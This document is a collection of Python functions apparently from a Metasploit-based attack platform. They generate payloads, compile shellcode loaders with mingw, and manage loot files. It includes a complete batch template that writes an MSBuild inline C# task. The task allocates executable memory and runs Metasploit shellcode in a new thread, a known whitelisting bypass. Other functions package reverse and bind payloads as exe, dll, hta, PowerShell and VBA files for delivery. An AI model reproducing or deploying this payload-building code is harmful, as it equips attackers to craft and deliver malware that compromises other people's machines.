def __init__(self, include_dir: str, source_code: str): self.include_dir = include_dir self.source_code = source_code # 源码文件的内容,str格式 self.strip_syms = True self.link_script = None self._filename = str(time.time() * 1000_0000) self._src_file = os.path.join(File.tmp_dir(), f"{self._filename}.cpp") self._exe_file = os.path.join(File.tmp_dir(), f"{self._filename}.exe")
def _destroy_old_files(): for file in os.listdir(File.tmp_dir()): file_path = os.path.join(File.tmp_dir(), file) if os.path.isdir(file_path): continue else: timestamp = time.time() file_timestamp = os.path.getctime(file_path) if timestamp - file_timestamp > 3600 * 24: os.remove(file_path)
def get_option_filepath(self, msf=False): """获取选项中的文件绝对路径""" file = self.param(FILE_OPTION.get('name')) if file is None: return None filename = file.get("name") if msf: filepath = File.safe_os_path_join(MSFLOOTTRUE, filename) else: filepath = File.safe_os_path_join(MSFLOOT, filename) return filepath
def cleanup_files(self): src_file = os.path.join(File.tmp_dir(), f"{self.file_name}.c") exe_file = os.path.join(File.tmp_dir(), f"{self.file_name}.exe") try: os.remove(src_file) except Exception as E: logger.exception(E) try: os.remove(exe_file) except Exception as E: logger.exception(E)
def destory_msf_file(filename=None): filepath = File.safe_os_path_join(MSFLOOT, filename) if os.path.isfile(filepath): os.remove(filepath) return True else: return False
def write_zip_vs_project(self, filename, source_code, source_code_filename="main.cpp", exe_file=None, exe_data=None): projectfile = os.path.join(File.loot_dir(), filename) new_zip = zipfile.ZipFile(projectfile, 'w') sourcepath = os.path.join(self.module_data_dir, "source") for file in os.listdir(sourcepath): src_file = os.path.join(sourcepath, file) new_zip.write(src_file, arcname=file, compress_type=zipfile.ZIP_DEFLATED) new_zip.writestr(zinfo_or_arcname=source_code_filename, data=source_code, compress_type=zipfile.ZIP_DEFLATED) if exe_file is not None: new_zip.writestr(zinfo_or_arcname=exe_file, data=exe_data, compress_type=zipfile.ZIP_DEFLATED) new_zip.close() return True
def read_msf_file(filename=None): filepath = File.safe_os_path_join(MSFLOOT, filename) if os.path.isfile(filepath): with open(filepath, "rb+") as f: binary_data = f.read() return binary_data else: return None
def build_cmd(self, src, arch="x64"): src_file = os.path.join(File.tmp_dir(), f"{self.file_name}.c") exe_file = os.path.join(File.tmp_dir(), f"{self.file_name}.exe") cmd = [] with open(src_file, "wb") as f: f.write(src.encode("utf-8")) # 编译src if arch == "x64": cmd.append("x86_64-w64-mingw32-gcc") else: cmd.append("i686-w64-mingw32-gcc") cmd.append(src_file) # 头文件 cmd.append("-I") cmd.append(self.INCULDE_DIR) # 输出文件 cmd.append("-o") cmd.append(exe_file) # cmd.append("-nostdlib") # 其他参数 cmd.append("-mwindows") cmd.append("-fno-ident") cmd.append("-ffunction-sections") opt_level = "-O2" cmd.append(opt_level) # linux独有参数 if DEBUG: if self.strip_syms: cmd.append("-s") else: cmd.append("-fno-asynchronous-unwind-tables") link_options = '-Wl,' + '--no-seh,' if self.strip_syms: link_options += '-s' if self.link_script: link_options += f",-T{self.link_script}" cmd.append(link_options) return cmd
def upload_file_to_msf(file=None): try: filename = file.name filepath = File.safe_os_path_join(MSFLOOT, filename) with open(filepath, "wb+") as f: for chunk in file.chunks(): f.write(chunk) return True except Exception as E: logger.warning(E) return False
def compile_c(self, src, arch="x64"): bindata = None exe_file = os.path.join(File.tmp_dir(), f"{self.file_name}.exe") cmd = self.build_cmd(src, arch) ret = subprocess.run(cmd, capture_output=True, text=True) if ret.returncode != 0: logger.warning(ret.stdout) logger.warning(ret.stderr) else: try: with open(exe_file, 'rb') as f: bindata = f.read() except Exception as E: logger.exception(E) self.cleanup_files() return bindata
def list_msf_files(): result = [] try: filelist = os.listdir(MSFLOOT) for file in filelist: filepath = File.safe_os_path_join(MSFLOOT, file) if os.path.isfile(filepath): fileinfo = os.stat(filepath) enfilename = FileMsf.encrypt_file_name(file) result.append({ "name": file, "enfilename": enfilename, "size": fileinfo.st_size, "mtime": int(fileinfo.st_mtime) }) return result except Exception as E: logger.exception(E) return []
def write_msf_file(filename=None, data=None): filepath = File.safe_os_path_join(MSFLOOT, filename) with open(filepath, "wb+") as f: f.write(data) return True
def _create_payload_use_msbuild(mname=None, shellcode=None): filename = "{}.zip".format(int(time.time())) if isinstance(shellcode, bytes): shellcode = shellcode.decode(encoding="utf-8").replace("\n", '') if mname.startswith('windows/x64'): msbuilddllpath = """C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll""" elif mname.startswith('windows/meterpreter'): msbuilddllpath = """C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll""" else: raise Exception('unspport mname') filedata = f""" echo ^<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"^>>>a.xml echo ^<Target Name="Hello"^>>>a.xml echo ^<ClassExample /^>>>a.xml echo ^</Target^>>>a.xml echo ^<UsingTask>>a.xml echo TaskName="ClassExample">>a.xml echo TaskFactory="CodeTaskFactory">>a.xml echo AssemblyFile="{msbuilddllpath}" ^>>>a.xml echo ^<Task^>>>a.xml echo ^<Code Type="Class" Language="cs"^>>>a.xml echo ^<![CDATA[>>a.xml echo using System;>>a.xml echo using System.Runtime.InteropServices;>>a.xml echo using Microsoft.Build.Framework;>>a.xml echo using Microsoft.Build.Utilities;>>a.xml echo public class ClassExample : Task, ITask>>a.xml echo {{ >>a.xml echo private static UInt32 MEM_COMMIT = 0x1000; >>a.xml echo private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; >>a.xml echo [DllImport("kernel32")]>>a.xml echo private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,>>a.xml echo UInt32 size, UInt32 flAllocationType, UInt32 flProtect); >>a.xml echo [DllImport("kernel32")]>>a.xml echo private static extern IntPtr CreateThread( >>a.xml echo UInt32 lpThreadAttributes,>>a.xml echo UInt32 dwStackSize,>>a.xml echo UInt32 lpStartAddress,>>a.xml echo IntPtr param,>>a.xml echo UInt32 dwCreationFlags,>>a.xml echo ref UInt32 lpThreadId >>a.xml echo );>>a.xml echo [DllImport("kernel32")]>>a.xml echo private static extern UInt32 WaitForSingleObject( >>a.xml echo IntPtr hHandle,>>a.xml echo UInt32 dwMilliseconds>>a.xml echo ); >>a.xml echo public override bool Execute()>>a.xml echo {{>>a.xml echo {shellcode}>>a.xml echo UInt32 funcAddr = VirtualAlloc(0, (UInt32)buf.Length,>>a.xml echo MEM_COMMIT, PAGE_EXECUTE_READWRITE);>>a.xml echo Marshal.Copy(buf, 0, (IntPtr)(funcAddr), buf.Length);>>a.xml echo IntPtr hThread = IntPtr.Zero;>>a.xml echo UInt32 threadId = 0;>>a.xml echo IntPtr pinfo = IntPtr.Zero;>>a.xml echo hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);>>a.xml echo WaitForSingleObject(hThread, 0xFFFFFFFF);>>a.xml echo return true;>>a.xml echo }} >>a.xml echo }} >>a.xml echo ]]^>>>a.xml echo ^</Code^>>>a.xml echo ^</Task^>>>a.xml echo ^</UsingTask^>>>a.xml echo ^</Project^>>>a.xml""" payloadfile = os.path.join(File.tmp_dir(), filename) new_zip = zipfile.ZipFile(payloadfile, 'w') new_zip.writestr("cmd.bat", data=filedata, compress_type=zipfile.ZIP_DEFLATED) readmefilepath = os.path.join(settings.BASE_DIR, "STATICFILES", "STATIC", "msbuild.md") new_zip.write(readmefilepath, arcname="readme.md", compress_type=zipfile.ZIP_DEFLATED) new_zip.close() return filename
def create(mname=None, opts=None): """生成payload文件""" # badchars = opts['BadChars'] | | '' # fmt = opts['Format'] | | 'raw' # force = opts['ForceEncode'] | | false # template = opts['Template'] | | nil # plat = opts['Platform'] | | nil # keep = opts['KeepTemplateWorking'] | | false # force = opts['ForceEncode'] | | false # sled_size = opts['NopSledSize'].to_i | | 0 # iter = opts['Iterations'].to_i | | 0 # 清理历史文件 Payload._destroy_old_files() # 处理RHOST及LHOST参数 if mname.find("reverse") > 0: try: opts.pop('RHOST') except Exception as _: pass elif mname.find("bind") > 0: try: opts.pop('LHOST') except Exception as _: pass # 处理OverrideRequestHost参数 if opts.get('OverrideRequestHost') is True: opts["LHOST"] = opts['OverrideLHOST'] opts["LPORT"] = opts['OverrideLPORT'] opts['OverrideRequestHost'] = False Notice.send_warn("Payload包含OverrideRequestHost参数") Notice.send_warn(f"将LHOST 替换为 OverrideLHOST:{opts['OverrideLHOST']}") Notice.send_warn(f"将LPORT 替换为 OverrideLPORT:{opts['OverrideLPORT']}") # EXTENSIONS参数 if "meterpreter_" in mname and opts.get('EXTENSIONS') is True: opts['EXTENSIONS'] = 'stdapi' if opts.get("Format") == "AUTO": if "windows" in mname: opts["Format"] = 'exe-src' elif "linux" in mname: opts["Format"] = 'elf' elif "java" in mname: opts["Format"] = 'jar' elif "python" in mname: opts["Format"] = 'py' elif "php" in mname: opts["Format"] = 'raw' else: context = data_return(306, Payload_MSG.get(306), {}) return context if opts.get("Format") in ["exe-diy", "dll-diy", "dll-mutex-diy", "elf-diy"]: # 生成原始payload tmp_type = opts.get("Format") opts["Format"] = "hex" result = MSFModule.run(module_type="payload", mname=mname, opts=opts) if result is None: context = data_return(305, Payload_MSG.get(305), {}) return context byteresult = base64.b64decode(result.get('payload')) filename = Payload._create_payload_with_loader(mname, byteresult, payload_type=tmp_type) # 读取新的zip文件内容 payloadfile = os.path.join(File.tmp_dir(), filename) if opts.get("HandlerName") is not None: filename = f"{opts.get('HandlerName')}_{filename}" byteresult = open(payloadfile, 'rb') elif opts.get("Format") == "msbuild": # 生成原始payload opts["Format"] = "csharp" result = MSFModule.run(module_type="payload", mname=mname, opts=opts) if result is None: context = data_return(305, Payload_MSG.get(305), {}) return context byteresult = base64.b64decode(result.get('payload')) filename = Payload._create_payload_use_msbuild(mname, byteresult) # 读取新的zip文件内容 payloadfile = os.path.join(File.tmp_dir(), filename) byteresult = open(payloadfile, 'rb') elif opts.get("Format") == "exe-src": opts["Format"] = "hex" result = MSFModule.run(module_type="payload", mname=mname, opts=opts) if result is None: context = data_return(305, Payload_MSG.get(305), {}) return context byteresult = base64.b64decode(result.get('payload')) byteresult = Payload._create_payload_by_mingw(mname=mname, shellcode=byteresult) filename = "{}.exe".format(int(time.time())) elif opts.get("Format") == "exe-src-service": opts["Format"] = "hex" result = MSFModule.run(module_type="payload", mname=mname, opts=opts) if result is None: context = data_return(305, Payload_MSG.get(305), {}) return context byteresult = base64.b64decode(result.get('payload')) # result为None会抛异常 byteresult = Payload._create_payload_by_mingw(mname=mname, shellcode=byteresult, payload_type="REVERSE_HEX_AS_SERVICE") filename = "{}.exe".format(int(time.time())) else: file_suffix = { "c": "c", "csharp": "cs", "exe": "exe", "exe-service": "exe", "powershell": "ps1", "psh-reflection": "ps1", "psh-cmd": "ps1", "hex": "hex", "hta-psh": "hta", "raw": "raw", "vba": "vba", "vbscript": "vbs", "elf": None, "elf-so": "so", "jar": "jar", "java": "java", "war": "war", "python": "py", "py": "py", "python-reflection": "py", } result = MSFModule.run(module_type="payload", mname=mname, opts=opts) if result is None: context = data_return(305, Payload_MSG.get(305), {}) return context byteresult = base64.b64decode(result.get('payload')) if file_suffix.get(opts.get("Format")) is None: filename = "{}".format(int(time.time())) else: filename = "{}.{}".format(int(time.time()), file_suffix.get(opts.get("Format"))) response = HttpResponse(byteresult) response['Content-Type'] = 'application/octet-stream' response['Code'] = 200 response['Message'] = parse.quote(Payload_MSG.get(201)) # 中文特殊处理 urlpart = parse.quote(os.path.splitext(filename)[0], 'utf-8') leftpart = os.path.splitext(filename)[-1] response['Content-Disposition'] = f"{urlpart}{leftpart}" return response
def _create_payload_with_loader(mname=None, result=None, payload_type="exe-diy"): filename = "{}.zip".format(int(time.time())) payloadfile = os.path.join(File.tmp_dir(), filename) extraloader_filepath = None extra_arcname = None if payload_type == "exe-diy": arcname = "loader.exe" shellcode_filename = "loader.ini" if mname.startswith('windows/x64'): loaderfile = 'loader_x64.exe' elif mname.startswith('windows/meterpreter'): loaderfile = 'loader_x86.exe' else: raise Exception('unspport mname') elif payload_type == "dll-diy": arcname = "loaderdll.dll" shellcode_filename = "loaderdll.ini" if mname.startswith('windows/x64'): loaderfile = 'DirectDLL_x64.dll' elif mname.startswith('windows/meterpreter'): loaderfile = 'DirectDLL_x86.dll' else: raise Exception('unspport mname') elif payload_type == "dll-mutex-diy": arcname = "loaderdllmutex.dll" shellcode_filename = "loaderdllmutex.ini" if mname.startswith('windows/x64'): loaderfile = 'MDSDLL_x64.dll' extraloader = 'loader_x64.exe' extraloader_filepath = os.path.join(settings.BASE_DIR, PAYLOAD_LOADER_STORE_PATH, extraloader) extra_arcname = "loaderdllmutex.exe" elif mname.startswith('windows/meterpreter'): loaderfile = 'MDSDLL_x86.dll' extraloader = 'loader_x86.exe' extraloader_filepath = os.path.join(settings.BASE_DIR, PAYLOAD_LOADER_STORE_PATH, extraloader) extra_arcname = "loaderdllmutex.exe" else: raise Exception('unspport mname') elif payload_type == "elf-diy": arcname = "loader" shellcode_filename = "shellcode" if mname.startswith('linux/x64'): loaderfile = 'unix_sc' elif mname.startswith('linux/x86'): loaderfile = 'unix_sc_x86' else: raise Exception('unspport mname') else: arcname = "loader.exe" shellcode_filename = "loader.ini" if mname.startswith('windows/x64'): loaderfile = 'loader_x64.exe' elif mname.startswith('windows/meterpreter'): loaderfile = 'loader_x86.exe' else: raise Exception('unspport mname') loader_filepath = os.path.join(settings.BASE_DIR, PAYLOAD_LOADER_STORE_PATH, loaderfile) new_zip = zipfile.ZipFile(payloadfile, 'w') new_zip.writestr(shellcode_filename, data=result, compress_type=zipfile.ZIP_DEFLATED) new_zip.write(loader_filepath, arcname=arcname, compress_type=zipfile.ZIP_DEFLATED) if payload_type == "dll-mutex-diy": new_zip.write(extraloader_filepath, arcname=extra_arcname, compress_type=zipfile.ZIP_DEFLATED) new_zip.close() return filename
def get_absolute_path(filename, msf=False): if msf: filepath = f"{MSFLOOTTRUE}/{filename}" else: filepath = File.safe_os_path_join(MSFLOOT, filename) return filepath
def write_to_loot(self, filename, data): """向loot目录写文件""" filepath = File.safe_os_path_join(MSFLOOT, filename) with open(filepath, "wb+") as f: f.write(data) return True
def read_from_loot(self, filename): "从loot(文件列表)目录读取文件" filepath = File.safe_os_path_join(MSFLOOT, filename) with open(filepath, "rb+") as f: data = f.read() return data